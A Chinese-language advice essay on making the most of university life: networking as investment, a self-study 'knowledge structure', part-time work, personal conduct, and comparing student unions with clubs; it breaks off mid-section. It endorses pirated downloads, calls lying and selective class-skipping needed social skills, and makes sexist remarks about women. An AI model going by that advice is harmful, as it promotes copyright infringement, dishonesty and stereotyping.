  虽然我们不可否认,现在大学生的素质是越来越差,因为年年扩招,但是也不可以否认,大学依然是精英的集合,记得我大二时担任会长,在面试300多名新的协会会员的时候,其中就有50多个班长,10多个学生会主席。可以说,他们都是以前学校的精英(在某些方面)。据官方数据统计,现在中国的大学生比例为10%,就是上过大学的人占总人口的10%左右。然后全国100所重点高校的学生占全部大学生人数的10%,所以我们还是百里挑一的精英。未来社会的中高层会由什么人来担任,就是你身边的朋友,大学生们,谁也没办法知道,今天只是一个普通同学的他,也许明天就是某个企业的CEO;今天只是一个普通女生的她,未来可能就是某个省长的妻子等等,未来的事情我们都无法预料。试想一下,今天可能大家都一无所有,可是十年后,我们身边,肯定会有医生,律师,企业家,职业经理人,官员,会计师...遍布各行各业。如果他们是你大学的朋友,无疑就意味着你将有不少的免费顾问。

  2、具有初步的价值观
  成熟的价值观与贴近社会现实。大部分大学生在大学会形成初步的价值观,还有对于朋友的定义。而且在交往的过程中也会贴近社会,所以大学里面,一、哪些人会比较容易成功,哪些人比较难成功,大学里面就可以推断一些。(这里不是看小任何人)二、由于大家的价值观都初步形成,那么就是说可以找到价值观相近,有共同目标,志同道合的朋友,这个是非常的难得,因为大家的发展方向一样,所以帮助的机会更加的大。三、就是大学里面的人际关系会涉及物质交往,这个可以给我们进入社会做人际关系得到很好的锻炼。新东方的创业团队也是有共同的价值观。

  3、多种渠道开拓人际关系网络
  大学有非常多的渠道可以开拓人际关系:这里我就不一一列举了,具体可以参考一下我的一篇文章(如何拓宽校园人际关系网络)这里有我对如何开拓校园人际关系,以及人际关系的一些技巧的看法,大家可以参考一下。一个明显的现象就是:在初中和高中的时候,我们一般只会认识本班的同学,或者本校的部分同学,但是到了大学,我们可以涉及的圈子就大多了,象其他班,其他专业的同学,还有师兄师姐,还有其他学院,其他学校的同学,通过各种的途径我们可以认识到很多的人,这是小学与中学无法比拟的。通过很多的联谊,很多的PARTY,很多的舞会,很多的活动,很多的比赛等等等等,我们都可以认识到很多的人,不过最重要的是参与,积极主动的参与。


  4、廉价的投资成本以及深远的高额的回报。
  这个方面我们做一个比较深入的探讨,抛开我们的所有东西,从纯粹经济投资角度来计算大学的人际关系支出与收入。首先把我们自己当成一个基金,这个基金的最大投资者(父母),CEO是自己,核算一下自己的基础资本(金钱少数,时间,精力,感情大量),到了大学我们开始投资(其实从小学就开始投资了),我们投资在人际关系,投资在学习,投资在感情,投资在运动,投资在游戏。那么我们看看人际关系的投资与回报,大学的人际关系投资,金钱少数(因为大家都没有钱),时间精力感情(大部分),在大学,只要一起去吃顿宵夜,旅个行,一起上课,一起参加学生会,联谊都可能成为朋友,甚至好朋友。这个方面的投资是很少的,但是如果到社会,投资人际关系:金钱大量,时间精力(缺乏且昂贵),更不要说感情。

  举个很简单的例子,大三的时候,我担任一家广告公司的校园执行总监,被派去和一个客户洽谈关于合作的问题,对方是一个部门经理,我约了他3天,最后他答复我,他在星期五中午有时间,那么中午时间就是要请吃饭,不可能请经理去饭堂,去快餐店,去大排档吧,所以选择了一个不错的西餐厅,叫了一个不错的西餐套餐,吃饭的时候,他又告诉我,他下午有一个会议,只有剩下半个小时时间,我给出我的方案,他看了以后,说他们已经没有预算了。下次有机会合作,很多时候,我们会发现,到了社会以后,你花上几百甚至几千块的社交成本都交不上一个朋友,那么,让我们再换个角度来思考一下,如果那天和我洽谈的人是我的大学朋友或者同学,我去到他所在的城市,他会先来接待我,然后说:“好久不见啊,你这么特地来看望我,太叫人开心了(有朋至远方来,不亦乐乎),走,我请你去吃饭,帮你洗尘。”然后吃饭期间,我说:“其实我这次来找你是有一个项目和你合作的!”他会怎么回答?"没有问题,你的为人我信得过,具体细节我们到公司谈,"就是这样,一个价值500万甚至更加大的项目就成交了。而所有的一切只因为他是你的朋友.

  大学的时候对于人际关系的投资,是低成本的,可能在你交的1000个朋友中,有一个朋友可以帮助到你,那么很可能你就因此回收了所有的成本了,另外人脉就是钱脉,认识的人越多,你解决问题的方法就越多,那你成功的几率就越大,所以大学最重要做的事情就是去认识多一点朋友,认识多一点优秀的人,认识多一点对于你将来有用的人。这样在你的未来,你就可以慢慢的享受你的回报。所以千万不要吝啬,至于结交什么样的朋友,怎样结交朋友,我已经有文章去说明,这里就不说了。

  人际关系影响我们成功最大的因素,大学是最好的时机去积累人际关系的时候,朋友给你带来知识,机会和开阔你的眼界,所以大学里面,请拿出足够的成本去投资你的人际关系。主要是时间,精力与感情。

   在这个方面比较好的书:《影响力》,《中庸》,《方与圆》,《人际关系的白金法则》祝愿大家在大学有良好的人际关系。

  三、认识知识架构

  大学我们应该做些什么?第一个想到的是:我们是来学习的,这个完全没有错误,大学就是应该来学习知识的。很多人会认为那就应该好好的上课,好好的做作业,这个我就不是完全的认同。

  大学我们应该学习什么知识?首先对于我们大学的知识架构进行分解:

  1、巩固我们12年学到的基础知识和基本常识。(30%)
  现在如果我问几个问题,可能没有多少人可以答的出来。尼罗河有多长?亚马逊平原垮了多少个国家?法国大革命什么时候发生?化学元素第80号是那个元素?牛顿3大定律是什么?中国的古诗与词赋还可以背多少首?由大一到大四,我们慢慢的把我们12年学的东西慢慢的忘记,到了大四的时候,不但大学没有学到什么东西,12年学到的知识也基本忘记了,这是多么的可悲,所以上大学首先要学的知识就是巩固我们12年学的知识,可以通过看书,通过网络,可以通过做家教,好好的温习我们12年的知识。

  2、课堂上老师给与我们的知识。(10%)
  大学我们会上课,但是上课与以前不一样,第一作业非常的少,第二老师基本不会怎么管你。第三学习的知识比较老。现在有些专业的书籍还是用82年出版的。在这个信息时代的世界,知识的更新是非常高速的,电脑硬件1年换一代,手机,以及很多很多方面的科学研究都是非常高速的更新着,但是由于部分大学的老师没有跟上时代的步伐,由于学校的某些体系也没有跟上时代的步伐,所以我们成为牺牲品,例如我们学习C语言,而现在的软件大部分都是用JAVA,.NET编成等等,由于大学的很多不完善,扩招导致师资力量跟不上,很多学校的老师不合格,所以对课堂不负责,对于学生不负责,对于教授的东西也只是从书本上搬过来,没有让学生更好的理解。另外在学校我们不是每天都全部的课,一个学年大约就只有500左右个课时,比起高中的上课密度还不够上3个月时间的课时多。总结上面所说的,大学老师,大学课堂给与你的只有10%,加上你逃课,睡觉,大学课堂上你所掌握的知识大约只有6-7%。对于你的成功微乎其微的作用。

  3、优势方面自学知识。(20%)
  优势方面的自学,大学是一个严重需要自学能力的场所。除了在课堂上学习外,如果你想比别人优秀,如果你想在一个领域可以有突破性,想在一个方面独树一帜,想了解这个领域的最前沿的知识与研究,你就必须自学。自学有两个方面,一个方面是自己看书,另外一个方面就是选择一些选修课,或者参加一些校内外培训,考取证书等。我是学环境科学的,但是我大学期间读了超过50本关于公关和管理的书籍,并且选修了不少这个方面的课程,在环境科学也许我不是最好的,但是在公关方面的知识,在大学里,我算是比较了解的,也有深入的研究。为了获得公关知识的最前沿知识,我会上网了解每年的10大公关危机,了解大部分的公关案例,分析自己身边的公关案例并且参与其中,如03年的非典给香雪制药带来了巨大的公关收益,神5升天与蒙牛事件营销的巨大成功,以及05年超级女生事件等等。在自学一定要配套自己的优势,如果你对专业很有兴趣,你就应该深入研究你的专业知识,以及定购专业方面的年报,学习最前沿的资讯。如果你不喜欢你的专业,自学的时候就必须付出更多,学习更多你想学的东西,我到现在这么忙,还保持一个好习惯,每个月至少看两本书,而且自己买,在书上做笔记。(可恨的,很多人借书不还)。但是如果对自己的专业非常有兴趣,我是对自己的专业没有太大的兴趣,未来也不打算从事相关的工作,如果各位以后想从事专业相关的工作,自学主要就是针对专业方面的知识来学习,订专业的年报,上专业相关的网站。

  自学到一定程度可以去考取很多各个方面的证书,人力资源的,培训策划的,会计的等等,都可以去考。这个是证明你在这个方面能力的最佳证明。

  4、博学多闻(20%)
  在大学里面,我们需要广泛的摄取知识,课堂上的知识,书本上的知识远远的不够,天文,地理,经济,人文,政治我们都需要知道的。建议大家看看中国古代史的书记,看看《世界上下五千年》,《十万个为什么》等等书籍,订阅报纸,我在大学里面看了2年以上的参考消息,了解世界动态,了解经济科技,回顾历史等等。如果你觉得看书沉闷的话,可以看《探索》,《美国国家地理杂志》,甚至一些资讯台的教育片,都可以丰富大家的知识,我们都是文盲,因为这个世界上我们要知道的东西实在太多了,我们只能尽自己最大的能力去学习。在这个方面,如果你还觉得沉闷,我们可以通过玩游戏来增加知识,我记得我玩过几个游戏,虽然比较旧,但是真的学到了很多,例如大航海时代2,让我记住了世界200多个城市,航空霸业让我再次记住了200多个城市。大航海时代二还让我记住了欧洲十六,十七世纪的人文,地理以及历史。现在我再玩罗马之全面战争,这个游戏也让我了解到了欧洲非洲的古代史,以及大量的名言和历史战役,故事等等。除此之外,我还广泛的阅读了中国古代的很多文学著作的解析版本,《中庸》,《论语》,《道德经》,《孙子兵法》,《东周列国志》,《史记》等等,除了在公关方面,也在中国古代文化方面有一定的了解。

  5、其他知识(也可以说常识)  20%
  告诫各位,不要把无知当可爱。女孩子,应该懂得厨房。就是女孩子应该懂得做一些家庭小菜的知识,我不奢求现在的女生可以像妈妈一样做出很多让我们满意的菜肴,我只是希望她们不要在一个人住的时候饿死。女孩子,是不是应该懂得一些化妆的知识,化妆是女生的基本常识。女孩子,是不是应该懂得一些生理健康的知识,懂得一些性知识,都是很必要的。对于男生,是不是应该懂得世界杯,冠军杯,足球联赛。是不是应该懂得NBA,是不是应该懂得WAR3与CS,都应该了解这个方面的知识,如果你不了解这些,在男生中除了女人,就没有共同话题。另外还有一些生存的基本常识,生活的基本常识,急救的基本常识,举例几个笑话:一男一女来听格兰仕人力资源总监的讲座,男的问道:格兰仕是不是做鸡精的,女的说不是,是做燕窝的。格兰仕是出名的生产和销售空调以及电器的企业,他们老总听了会想哭。现在大学生的基本常识的无知程度,真的可以说是文盲。

  大学的知识=30%基础知识+10%课堂知识+20%自学知识+20%博学知识+20%其他知识=100%这些就是大学的知识架构。

  大学应该如何学习?

  首先介绍2个老师给大家:一个叫GOOGLE,另一个叫BAIDU。任何的问题,网络上可以解决60%。很简单,如果你不了解我郭丹锐,你上网输入我的名字一查就有好多的我信息,科技信息网络发达的今天,知识大部分在网络上可以找到。

  其次,翻版造就中国一类人才,由于翻版的猖獗(大学生穷),我们可以学习到很多高端的培训或者课程,例如余世维的企业培训,一天6800元,网络下载来看2元。山东省的名家论坛,多么精彩,下载来看,又是10元内解决,还有什么《探索》,《国家地理杂志》等等都可以下载来看,还有电子书,还有企业培训课件,还有MP3等等,多个方面的渠道可以获得大量的珍贵知识,只要你肯学,知识多的是。(翻版这个方面,等我有钱一定买正版,而且还要收藏)

  再次、介绍一个学习的场所,图书馆。大学的图书馆,虽然不是非常的好,藏书也不是非常的丰富,但是也是我们学习知识的好地方,尤其是家庭环境不够好的同学,可以节省一大部分买书的钱,图书馆借书是没有问题的。所以一定要泡图书馆,但是千万不要指望可以在图书馆遇到爱情,几率太少了,一般PLMM都不去图书馆。

  最后、介绍一种最快学习的方法,就是向成功的人学习,他们会把他们辛辛苦苦积累的学习经验与精华分享给我们,向别人是学习效率最高的一种模式。请珍惜每一次可以和成功人一起交流的机会,相信你可以从他们身上学到很多的东西。

  学习知识一个方面为了增加自己的能力与对社会的了解。另一方面渊博的知识可以给我们带来了良好的人际关系,因为你有和别人交谈更加多的主题。

  作为一个爱学习的大学生,不应该只局限于书本和课堂,而是全方位的定位自己,然后深入的学习,自学,博学,实践中学习。
 
  关于逃课和说谎!有这么一个故事,一个妈妈告诉儿子,儿子你不可以说谎!结果到了儿子18岁要上大学的时候,妈妈却非常的担心,儿子18岁了,还不会说谎,怎么办啊?真的好好考虑一下,如果你的儿子18岁了还不会说谎,你不是应该担心吗?

  同样的道理,如果一个有自己价值观的人在现在的大学体制下还不会选择性的逃课,那么和一个不会说谎的人一样,无法适应这个社会。中国人精明之处在于,知道如何奸诈不随便使用奸诈就是忠臣,不知道奸诈的只能是傻子,不可能成为有用之人。女生也一样,懂得抚媚而不滥用抚媚是淑女,不懂得抚媚得就是村姑,滥用抚媚的是妓女。
 
  祝愿各位大学毕业不要做文盲。

  四、实现经济收入

  大学里面,我们应该尝试一下去自力更生。也就是实现自己的经济独立,只有经济独立的人,才可能得到别人的真正尊重和认可。这篇文章主要会阐述大学我们可以怎样去实现经济独立,另外怎样去挑选我们的兼职和社会实践。
 
  大学为什么要实现经济收入(社会实践)?

  一、体验一下赚钱的艰辛与收获的喜悦,如果你没有赚过钱,你不会体会到赚钱的艰辛,如果你没有赚过钱,你不会体验到赚到钱的喜悦。我大二开始就慢慢的实现经济独立,从各个方面的兼职,基本上生活上可以自给自足,有时候主持人夸大了,学费还是家里人帮我交的,因为我赚钱,但是花钱也比较厉害。记得大三的时候回家,我用自己的赚到的钱买了部6670和IPOD MINI,回家后,爸爸问我:“这个(IPOD)东西是什么来的?”我说:“MP3”,爸爸问:“多少钱?”我说:“2500”爸爸说:“很贵啊!”我说:“自己赚的钱!”爸爸脸上是笑容。只有自己经济独立了,才有资格说话。任何人如果想获得我的敬佩,起码要实现经济独立(大学)。

  二、羞愧。进入大学以后,一次的同学聚会,他们现在很多人都实现了经济独立,而且很多收入还是可以的。当时我只能这样形容自己“羞愧”。作为一个大学生,自己不能养活自己,整天伸手向父母拿钱,你羞愧吗?我感到羞愧,所以大一下学期后,我非常的努力,一个方面为自己的目标奋斗,另一个方面,实现自己的自给自足。证明我不比他们差!

  三、提前接触社会,接触你想要进入的行业与职业,了解这个行业的发展趋势,了解职位对于人才的要求,了解企业的招聘流程,了解行业的素质素养,以及企业文化等等。

  四、扩大社会的人际关系网络。
  以学生的身份获得学习的机会,如果你是一个企业的员工,老板根本就不需要来学习的人。所以学生时代的我们还有时间,去锻炼和学习,如果真正的走进社会,我们就必须立刻可以为企业创造价值。这个时候就是我们锻炼和扩大社会人际关系的重要措施。

  大学有什么样的兼职和社会实践类型?

  1、自我技能出卖。
  (1)苦力型:派发传单,担任工作人员,观众演员,义工,一切苦力工作的。一般情况下只能锻炼你的体能,除非可以扩大人际关系。

  (2)花瓶型:T台模特,礼仪小姐,发型模特,部分“助理”,演员,广告模特等等。

  (3)智力型:家教,翻译,策划,写作投稿,摄影等。

  (4)表演型:舞队,乐队,武术队,花式篮球等等表演类技能。

  (5)实操型:广告平面设计,网站建设,软件开发,组装电脑等等。

  2、人力资源出卖
  这个类型的人,他的社会实践和获取收入的途径,就是把校园有特长的人销售出去,就是上面的人的经纪人。他们主要从事校园的人力资源开发与销售。利润会比上面的人高,并且掌握渠道。

  3、出卖产品,经营市场。
  这类型人,就是代理校外产品,或者直接购买校外产品,在校内销售。把校园作为一个消费市场,这个时候他们是商家,是市场部,他们的目的就是到校园内去销售产品。(代理,代理团队)

  4、出卖校园市场。
  这类型的人,有点像拉赞助的人,不过面比较广泛,他们把校园看作一个市场,把这个消费市场当作一个产品,吸引有兴趣的商家,到这个市场进行广告投资,品牌宣传,以及人才选拔,公关活动等等。

  现在看看校园需要什么样的产品:日常用品;学习用品;餐饮;数码相关;交通相关;银行相关;化妆品类;服装类;IT数码相关;电脑电子类;购买方式相关;培训相关;旅游相关;通讯产品等等。

  5、学校实习。
  分配到与专业有关的单位进行实行,一般都带有强制性。

  6、自主实习型。
  就是免费,或者以廉价劳动力,到自己喜欢或者相关的行业,企业去打杂,目的是为了赚点经验和开拓一下人际关系,并且了解一下企业的运作。

  在大学里面做兼职,或者进行社会实践。赚钱不是第一位,在做任何兼职和社会实践,第一要为你的就业服务,要为你人生目标服务,就是所做的事情是增加你对你将来行业与职业的了解,增加进入企业的机会的。第二就是投资你的大脑,兼职与社会实践都要要为了获得经验,能力与知识为目的的。第三就是开拓人际关系,开拓以后你想从事的行业的人际关系,了解职位的要求等等。

  至于大学如何获得兼职。
  首先要主动积极的去寻找。
  其次人脉是取得兼职的关键。

  如何具体去寻找,可以参考我的《拉赞助指导》以及《开拓校园人际关系》两篇文章。

  愿大家在大学可以自力更生,丰衣足食。


  五、学会为人处事

  如果有人问我,大学最应该学些什么?我会不假思索地告诉他:"大学最应该的是学做人"。

  做事先做人。把学会为人做事作为《大学我们应该做些什么?》的最后一篇,我想强调的是:大学是半个社会,如果我们想在社会生存,就必须在大学生存。

  在开始之前,为人处事,我倡导的是学习中国古代文化。认真的读《中庸》,《道德经》,《孙子兵法》,以及《论语》。这些都是很好的为人处事的书籍。在写这篇文章之前,收集了很多的案例,同时也认真的把《中庸》和《道德经》看了一遍。

  在大学这么久了,很多时候听到高年级学生评价低年纪学生的时候,都是会说,现在的师弟师妹真的没有礼貌,又没有教养。也就是不会做人。原因有很多,这里罗列几条(85年后的一代)。

  一、独生子女占据主力:85年后出生的一代,基本都是独生子女,独生子女自小就在父母,祖父母的宠爱下长大。他们的社交圈狭窄,个性强烈。在这种环境下,容易形成自以为是,拼命追求个性,过分极端的性格。家庭的优越感和学校的团体生活产生强烈的反差,家庭以他为中心,在宿舍讲求的是平等,所以很多人际关系冲突都是这样产生的。最近有个师妹和我投诉,她说她的舍友每天晚上在她们睡觉后才回来,然后洗衣服,洗澡和男朋友大声聊天至少2个小时,弄得她们每天都睡不了好觉。平时相处还不是很差,也已经和她说过了几次,又不想把这个事情交由辅导员处理,造成了极大的困扰和无奈。这样的例子在大学里面比比皆是。

  二、资讯时代与网络世界:资讯时代,85年后出生的一代,自小就接触电视,报纸,然后是网络。他们吸收了大量的好与坏的资讯,世界对于他们到处都充满诱惑,他们早熟,电视与媒体报道了大量的社会负面信息,影响着他们,如果缺乏良好的引导,他们会模范电视人物,接触叛逆资讯等等。网络世界,85年的每个孩子都基本拥有电脑,很多人都沉迷于网络世界,最近网络上抄的沸沸扬扬“周剑事件”。网络世界里面,不需要负责任,缺乏监督,网络距离淡化道德规范,在这个虚拟世界里面,也许我们可以做一个真实的自己,但是这样的自己很难适应社会生存。很多人可以活在网络上,确活不下在现实生活上。

  三、社会诚信影响:十年文革,对于中国是一个巨大的伤害,这个伤害在于人与人之间的不信任。文革期间的相互批斗,相互揭发,造成了不诚信的社会。不诚信的社会造就了自我保护意识很强的一代。就是父辈影响下的这一代人。加上社会上的骗子,小偷,乞丐磨灭了爱心与诚信。85年后的一代,难以相信别人,总是很小心的保护自己。对于诚信不看重,谁都无法完成承诺,所以做出承诺都没有关系。上次约人来听讲座,约了50人,都答应了,最后来的只有5个人。这个方面也体现在爱情方面,随便的说出一句"我爱你",还有什么"天长地久"之类的话,却未曾想过需不需要负责任。

  四、物质攀比风气:改革开放以后,国家经济飞速发展,但是同时也引进了很多不好的东西,就是现代人越来越看重物质享受,物质攀比。加上贫富差距的拉大,以及社会的不公平,造就了物质攀比风气。不要说大学,在小学,孩子之间在较劲地比谁的父母更厉害,谁的家庭更有钱,更有地位。而老师则更是会对那些有钱有地位的孩子"特别照顾"。新生开学,有的学生,是几辆车再加上前呼后拥十几个亲友团护送,而有的则是单身一个人,什么都得自己背来学校的贫困生。强大的物质对比,也造就了校园里面的很多问题。攀比就盲目追求差异与个性,容易走极端。

  五、没有吃过苦:85年后,尤其是城市的孩子,基本都没有吃过苦,在我出生的年代,妈妈怀我的时候没有饭吃,小的时候自己还有干一些的农活,但是现在的孩子,出生都是喝牛奶,家务都不需要干,别说农活,很多人,根本不知道饿肚子的滋味,这些也是父辈们经常骂我们的理由之一,我们生活过得太好了。

  六、缺乏良好的社交环境,85年后的很多人,家里都是双职工父母,平时很多时候都是一个人被关在家里。现在的邻居关系也变淡了很多,孩子间的串门很少。所以总体来说,85年后的很多人,都是在相对孤独和自我的环境下长大的,缺乏沟通技巧与人际相处的基本技能。

  以上的种种原因,造就了怎样的一群人?(这里只针对缺点)

  自以为是,不顾他人感受,不能容入团队。

  沉迷网络,性格孤僻,极少参与社交。

  盲目攀比,妒忌心重,看不起别人。

  缺乏礼貌,缺乏责任心,缺乏诚信。

  不够积极,不能吃苦,容易放弃。

  选择太多,少有的坚持。不尊重师长,愤世嫉俗。

  尤其是在性格上,思想上存在以上问题的师弟师妹们,是不是应该要思考下,大学我们应该如何学会做人?

  一、尚礼:中国乃礼仪之邦,礼多不嫌烦,来而不往非礼也。这里的“礼”。不是单指礼物,也不单指物质。而是一种风俗习惯,一种道德规范。物轻情谊重,千里送鸿毛。由于改革开放后,摒弃了很多封建思想上的东西,包括中国的礼教。但是毕竟我们的儒家思想已经根深蒂固2000多年,很难一时就改变。所以应该注重礼节。见面打招呼,在学校里面,很多时候是师兄给师弟师妹打招呼,师弟师妹还不理。不给老师打招呼,横着走路的不少。对于师兄师姐的帮助,很多师弟师妹认为是应该的。缺乏感恩之心,很少进行感谢。心存感恩之心,是做人的尊严。如果要学会做人,就要尊敬每一个人,尤其是老师,师兄师姐。保持一颗感恩的心,用实际的行动进行感激。免费为师弟师妹开了这么多次的讲座,很少收到师弟师妹的感谢信,也很少有师弟师妹在讲座结束的时候过来说,师兄谢谢你,你辛苦了。

  我是潮汕人,在学校很多干部也是潮汕人,为什么呢?就是潮汕人更加注重礼节。招待客人的礼仪,潮汕人客来先上茶。并且由主人负责冲茶,表示尊敬。我要是回家,就必定有一大半时间需要去走访亲戚,这是对长辈的一种尊敬;重要节日则必须回家等等。都是潮汕人尚礼的一种表现。有时候给学生组织培训,连瓶水都没有给讲师准备,这样的不尊重,怎么可以取得好的人际关系。

  二、尊重为本:做人首先就是学会尊重。尊重的第一部就是尊重自己。中学时代的优秀,到了大学时代的平庸,很多人都在心里上过不去,还有一些人考上了自己不愿意的学校或者不愿意的专业。感到自卑和迷茫。其实没有必要,每个人都有自己的长处,都有自己的优势,只是你还没有好好的发掘而已。我们每个人来到这个世界上已经是几百万(精子数目)分之一。在大学首先要自信,要尊重自己。另外就是尊重别人,尊重你的师长,尊重你的学长,尊重你的同学和朋友。一个人要获得别人的尊重,就要先去尊重别人,尊重别人第一步就是不要看小每一个人。不要看小每件小事。在大学,很多城市的学生看不起农村的学生,很多有钱的人看不起没有钱的人,有的高级学生干部看不起普通学生,都是不应该的。尊重自己,尊重别人,别人才会尊重你。

  三、严己宽人:很多时候,我们总是在说别人怎样?别人哪里做的不好,别人哪里出了错误,但是对于自己往往就是非常的随便。自己的错误很少人自己会看到。在大学如果想获得良好的人际关系,严己宽人就是很重要的一点。如果自己没有做到,不要要求别人去做,如果自己不想做,也不要要求别人去做。如果没有站在别人的角度或者担任别人的角色,请不要轻易的去批评别人。在要求别人之前先问问自己,如果我是他,我能做成怎样?如果我是他,他会怎样对待一个像我这样的人。这里有一个重要的中庸观点“己所不欲,勿施于人”,我认为即使“己所欲,也慎施于人。”很多时候我们不能要求对方按照自己的方式去做事情,每个人都有自己的观点看法以及价值观。

  对于为人处事这个方面,我们可以讨论还有很多很多,我会在今后就中国古代文化思想这块和大家再做进一步详细的阐述。

  大学是一个学做人的地方,如果希望自己可以获得更好的成绩,大学期间可以过得更加好。就要好好注意自己生活,行为,说话的每个细节。养成谦虚的习惯,有很多人觉得我不够谦虚,但其实很多时候我觉得我自己是谦虚的,因为其实我只是说出了事实而已。但为什么很多人认为我不够谦虚呢?在道德经里面,我找到了困扰了我许久的问题的答案.谦虚就是有所畏惧,谦虚就是发现自己的不足。谦虚就是对于某些人,某些事情的敬畏。人要适当的表现自己,但是应该有一颗学习的心,并且要对自然,对知识有所敬畏。人只要表现出敬畏,谦虚就自然而成。

  作为大学的我们,最大的资本就是年轻,最大的资本就是时间。但是年轻不代表轻狂,不代表无所畏惧,不代表可以犯同样的错误。所以,请珍惜你的时间,因为这是你最大的财富。

  六、参与学生组织

  认识学生组织
  首先帮学生组织分类:
  
  官方组织:
  1、学生会(院学生会,校学生会,年纪委员会)
  2、社团(社团联合会,各个社团)
  3、团委(校团委,学院分团委)
  4、就业辅导中心,勤工俭学中心,学生工作处旗下的工作室
  5、广播台,官方网站学生网站(华师UCITY,华工百步梯,华农红满堂,广外在线,工大后院等等)÷
  6、青年志愿者,红十字会。

  商业组织:
  1、商业工作室:E-AGE工作室高校活动,云风工作室代理销售。
  2、商家高校运作团队:南方都市报校园记者团,邓老凉茶高校营销团。
  3、学生资讯网站:UCOL,53UCITY,5Q,CY等等。
  4、学生创业成立的各种商业公司。

  非官方组织
  1、同乡会
  2、竞技游戏战队等等

  这里这么多学生组织中,我想详细讲讲学生会和社团对比,这个方面我比较有经验,同时也是这两个方面的组织占学生组织的大头。

  这里先针对我的社团经验做个自我介绍。
  在学校期间:
  担任华南农业大学最大的协会,公关协会2年的会长,把公关协会打造成华农最强大的社团,并且在广州影响力最大的几个社团之一。担任资源环境学院02级的副主席。在校期间有20名深交的学生会主席级别的朋友,直接间接培养了10多个学院正副主席,在高校内认识超过50名以上的主席,150名以上会长。4年来一直从事社团管理,同时创立了2个工作室。

  社团是一群有共同爱好的人结合在一起去探讨这个爱好的经验与理论,从而使成员在这个爱好得到相关的进步。学生会的定义就是协助老师管理学生的一个学生组织。

  看完定义后,我们看本质:社团为学生服务,自由松散,非正规组织。学生会:为老师服务,有很多限制也有很多利益。

  接下来我们从各个方面来揭示学生会与社团的区别:

  一、组织
  社团为松散的组织,一般靠感情维系组织,社团的凝聚力一般为个别社团负责人的个人魅力以及社团的文化氛围。社团的组织介于家与企业之间,社团的生存必须靠家一样的温暖,另一个方面由于社团的高度自由,它又像企业那样来维持自己的生命和选拔人才。学生会是严谨的组织,维系组织的是严谨的制度和老师,学生会作为一个协助老师和学校管理学生的工具,有严格的制度和人才选拔机制,同时它也代表着学校和老师的利益,所以学生会更像一个政府机构。

  二、活动
  对于社团来说,只有不断搞活动来维持社团的活力和生命,活动对于社团来说,可以说至关重要,活动除了维系社团成员的感情,还是社团对外最大的宣传和品牌。对于学生会,活动是次要的,除了学校和学院交代下来的活动和工作,学生会一般不会举行过多的活动,因为学生会是为老师的利益服务,搞活动对于老师来说,如果搞得好,老师并不会有奖金或者升迁,但是搞不好,老师就需要负很大的责任,所以老师的思想是,尽量不搞或者少搞。但是缺乏支持的社团搞活动的难度搞,执行力弱,而学生会搞活动的难度低,而且执行力强。

  三、权力
  在权力方面学生会与社团有着非常大的区别,社团做事情是求底下的去做,学生会是命令底下的人去做。协会的组织松散,并且没有惩罚机制,无法对其成员发挥权力。而学生会是一个学院机构,借助于学院的权力可以对其成员实行各种惩罚机制(通报批评,记过等),从而提高了执行力。

  四、利益
  社团作为学校的一个非正规组织,其官方利益是非常少的,除了个别社团的主要干部可以获得团委的一些证书外,其他官方待遇和利益很少,但是作为学生会,是正规组织,在涉及到学生利益方面的事情,有比较大的优势,像入党,推优,奖学金,综合测评以及各类学校给予学生的补助政策等都有一定的优势。在找工作方面也会得到学院的支持。另一方面,由于社团缺乏监督,个别负责人利用社团进行对外工作的获益会比学生会多。

  五、个人锻炼
  作为社团的负责人以及主要成员,由于缺少老师的监督与限制,有比较大的自由度,并且可以利用社团来尝试自我的管理模式,锻炼的机会会比较多,自主性也比较强。学生会由于老师的限制和利益的分配,学生会的运作常常有老师的影子,所以学生会很难思想个人管理模式锻炼。学生会的官僚性和人才提拔的严格性,也会抹杀了大部分人的机会,而社团比较自由,只要付出和得到肯定,一般可以在社团取得相当的职位。

  六、高层人才的要求
  社团,由于资源少,限制少,支持少,所以社团选拔人才需要会做事的人,只有会做事的人,才可以把社团维持下来。学生会,因其本身的存在并没有任何的压力,主要是处理学生会和老师以及同学的关系,学生选拔人才需要会做人的人才。当然这个没有绝对性,只是会在这个方面有所偏重而已。学生会是为老师服务的,对于老师来说,选拔人才有一定的标准。(1)这个人家庭背景非常的不错,老师觉得值得投资,现在帮助了他,没有一个老师想做一辈子的辅导员,他们一般都是在学校混资历,因为学校的职称升级的很快。如果可以投资一些以后方便他们进入官场的人际关系,他们当然会投入,在新生入学的时候,所有的家庭资料老师都会亲自过目。(2)以后有发展前途的人,在经过了一年的干事考核,老师觉得这个人,将来发展会不错,或者说这个以后成功的几率大一些,那么老师就会去投资这个人。(3)听话的人,对于老师来说,能力是次要的,重要的是听话,因为谁都不想自己的学院出什么样的乱子,这样就需要一些听话的,执行力强的干部来充当主力,只要把交代下去的任务完成就可以,其他的都不算什么。所以通过现象看本质,也可以清楚学生会,如果你说学生会黑暗,不然,这是一个官僚体系而已,社会上很多的部门和机构,甚至企业都存在这种现象,在学生会工作,至少可以提早学会如何在社会中生存。

  七、发展和职业
  如果你想向公务员或者政府事业单位工作的,可以向学生会发展,学生会的大部分成员都以公务员为职业,在学生会可以获得党藉,得到推荐等。如果你想创业或者到企业去工作,则可以选择在社团发展,社团锻炼的创新能力和管理能力可以在企业发挥出来。

  不同人眼里的学生会与社团:

  一、学生会普通学生:学生会都不是为学生服务,学生会是老师爪牙,学生会的人自以为了不起,学生会除了开会,好像没有做出什么提高学生素质的活动或者项目。更多的人认为,学生会不知道在干什么。(这种认识一般是大二大三的时候),学生会都是靠关系进去的,学生会的人一般都很忙,学生会的人混党员和评优特别的容易。另外一个方面的评价:学生会的高层一般都比较会做人,学生会的人比较的积极和上进,学生会的人一般都比较能说。

  社团会员:协会是骗钱的,作为一个协会的会员没有得到什么锻炼,协会举办的活动没有时间参加,或者觉得参加了没有意义,不知道协会在做什么,协会文化,理念,目标都不清楚。

  二、干事:累就一个字。作为一名干事,很多时候都是充当苦力的工作,学生会搞活动也好,搞管理也好,都需要大量的人力,所以很多学生会干事,就是充当人力,苦力。对于干事对于学生会的看法:(1)实际与当初的期望有比较大的差别。(2)不是想做什么就能做什么的。(3)需要付出大量的时间和精力。(4)很多时候会得到身边的同学的误解。(5)学生会不是努力,不是有能力就可以升迁的。作为一名社团的干事还会觉得,部长不工作,很多苦力工作都是干事去做,锻炼的机会不多,很少可以参与协会大的决策,沟通不良,指导和培训不足。

  三、部长:
